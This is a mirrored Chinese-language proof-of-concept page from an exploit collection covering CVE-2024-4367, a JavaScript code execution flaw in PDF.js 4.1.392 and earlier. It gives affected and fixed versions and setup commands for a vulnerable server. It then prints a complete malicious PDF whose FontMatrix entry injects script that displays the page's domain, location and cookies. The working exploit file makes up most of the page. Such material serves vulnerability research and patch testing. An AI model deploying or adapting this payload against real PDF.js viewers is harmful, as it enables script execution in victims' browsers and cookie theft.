mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-05-28 09:10:53 +00:00
225 lines
3.9 KiB
Markdown
225 lines
3.9 KiB
Markdown
# PDF.js 任意 JavaScript 代码执行 CVE-2024-4367
|
||
|
||
## 漏洞描述
|
||
|
||
PDF.js 是 Mozilla 推出的一款开源 PDF 文件阅读器。其 4.1.392 版本及以前，PDF.js 中存在一处 JavaScript 代码注入漏洞。
|
||
|
||
参考链接：
|
||
|
||
- https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/
|
||
- https://github.com/mozilla/pdf.js/archive/refs/tags/v4.1.392.zip
|
||
|
||
## 漏洞影响
|
||
|
||
影响版本：
|
||
|
||
```
|
||
v4.1.392 (released April 11, 2024): 受影响 (release before this bug was fixed)
|
||
v1.10.88 (released Oct 27, 2017): 受影响 (re-introduces the security vulnerability due to a typo fix)
|
||
v1.4.20 (released Jan 27, 2016): 受影响 (release before the next release that accidentally fixed the vulnerable code)
|
||
v0.8.1181 (released Apr 10, 2014): 受影响 (first public release of PDF.js)
|
||
```
|
||
|
||
安全版本：
|
||
|
||
```
|
||
v4.2.67 (released April 29, 2024): 不受影响 (fixed)
|
||
v1.9.426 (released Aug 15, 2017): 不受影响 (release before the next affected version)
|
||
v1.5.188 (released Apr 21, 2016): 不受影响 (mitigated the security vulnerability by an accidental typo)
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub 执行如下命令启动一个使用了 PDF.js 4.1.392 的服务器：
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
服务启动后，访问`http://your-ip:8080`可以看到一个上传页面。
|
||
|
||
> 2024/05/27_15:30:25.85
|
||
> Vulhub 拉取镜像未成功，源码搭建环境：
|
||
|
||
```
|
||
wget https://github.com/mozilla/pdf.js/archive/refs/tags/v4.1.392.zip
|
||
unzip v4.1.392.zip
|
||
cd pdf.js-4.1.392
|
||
npm install -g gulp-cli@^2.3.0
|
||
npm install
|
||
gulp server
|
||
```
|
||
|
||
> vps 需要修改 `./pdf.js-4.1.392/test/webserver.mjs`，将 `localhost` 改为 `0.0.0.0`：
|
||
|
||
```
|
||
this.host = host || "0.0.0.0";
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
上传恶意PDF文件[poc.pdf](https://github.com/vulhub/vulhub/blob/master/pdfjs/CVE-2024-4367/poc.pdf)，即可触发XSS弹窗。
|
||
|
||
|
||
|
||
## 漏洞POC
|
||
|
||
poc.pdf
|
||
|
||
```
|
||
%PDF-1.4
|
||
%
|
||
8 0 obj
|
||
<<
|
||
/PatternType 2
|
||
/Shading<<
|
||
/Function<<
|
||
/Domain[0 1]
|
||
/C0[0 0 1]
|
||
/C1[1 0.6 0]
|
||
/N 1
|
||
/FunctionType 2
|
||
>>
|
||
/ShadingType 2
|
||
/Coords[46 400 537 400]
|
||
/Extend[false false]
|
||
/ColorSpace/DeviceRGB
|
||
>>
|
||
/Type/Pattern
|
||
>>
|
||
endobj
|
||
5 0 obj
|
||
<<
|
||
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
|
||
/Type/Font
|
||
/BaseFont/PAXEKO+SourceSansPro-Bold
|
||
/LastChar 102
|
||
/Encoding/WinAnsiEncoding
|
||
/FontMatrix [0.1 0 0 0.1 0 (1\); \nalert\('document.domain: '+window.document.domain+'\\nlocation: '+window.location+'\\ncookie: '+window.document.cookie)]
|
||
/Subtype/Type1
|
||
/FirstChar 65
|
||
/FontDescriptor 9 0 R
|
||
>>
|
||
endobj
|
||
2 0 obj
|
||
<<
|
||
/Kids[3 0 R]
|
||
/Type/Pages
|
||
/Count 1
|
||
>>
|
||
endobj
|
||
9 0 obj
|
||
<<
|
||
/Type/FontDescriptor
|
||
/ItalicAngle 0
|
||
/Ascent 751
|
||
/FontBBox[-6 -12 579 713]
|
||
/FontName/PAXEKO+SourceSansPro-Bold
|
||
/StemV 100
|
||
/CapHeight 713
|
||
/Flags 32
|
||
/FontFile3 10 0 R
|
||
/Descent -173
|
||
/MissingWidth 250
|
||
>>
|
||
endobj
|
||
6 0 obj
|
||
<<
|
||
/Length 128
|
||
>>
|
||
stream
|
||
47 379 489 230 re S
|
||
/Pattern cs
|
||
BT
|
||
50 500 Td
|
||
117 TL
|
||
/F1 150 Tf
|
||
/P1 scn
|
||
(AbCdEf) Tj
|
||
/P2 scn
|
||
(AbCdEf) '
|
||
ET
|
||
endstream
|
||
endobj
|
||
3 0 obj
|
||
<<
|
||
/Type/Page
|
||
/Resources 4 0 R
|
||
/Contents 6 0 R
|
||
/Parent 2 0 R
|
||
/MediaBox[0 0 595.2756 841.8898]
|
||
>>
|
||
endobj
|
||
10 0 obj
|
||
<<
|
||
/Length 800
|
||
/Subtype/Type2
|
||
>>
|
||
stream
|
||
|
||
endstream
|
||
endobj
|
||
7 0 obj
|
||
<<
|
||
/PatternType 1
|
||
/Matrix[1 0 0 1 50 0]
|
||
/Length 58
|
||
/TilingType 1
|
||
/BBox[0 0 16 16]
|
||
/YStep 16
|
||
/PaintType 1
|
||
/Resources<<
|
||
>>
|
||
/XStep 16
|
||
>>
|
||
stream
|
||
0.65 g
|
||
0 0 16 16 re f
|
||
0.15 g
|
||
0 0 8 8 re f
|
||
8 8 8 8 re f
|
||
endstream
|
||
endobj
|
||
4 0 obj
|
||
<<
|
||
/Pattern<<
|
||
/P1 7 0 R
|
||
/P2 8 0 R
|
||
>>
|
||
/Font<<
|
||
/F1 5 0 R
|
||
>>
|
||
>>
|
||
endobj
|
||
1 0 obj
|
||
<<
|
||
/Pages 2 0 R
|
||
/Type/Catalog
|
||
/OpenAction[3 0 R /Fit]
|
||
>>
|
||
endobj
|
||
|
||
xref
|
||
0 11
|
||
0000000000 65535 f
|
||
0000002260 00000 n
|
||
0000000522 00000 n
|
||
0000000973 00000 n
|
||
0000002178 00000 n
|
||
0000000266 00000 n
|
||
0000000794 00000 n
|
||
0000001953 00000 n
|
||
0000000015 00000 n
|
||
0000000577 00000 n
|
||
0000001085 00000 n
|
||
trailer
|
||
<<
|
||
/ID[(w4f) (w4f)]
|
||
/Root 1 0 R
|
||
/Size 11
|
||
>>
|
||
startxref
|
||
2333
|
||
%%EOF
|
||
```
|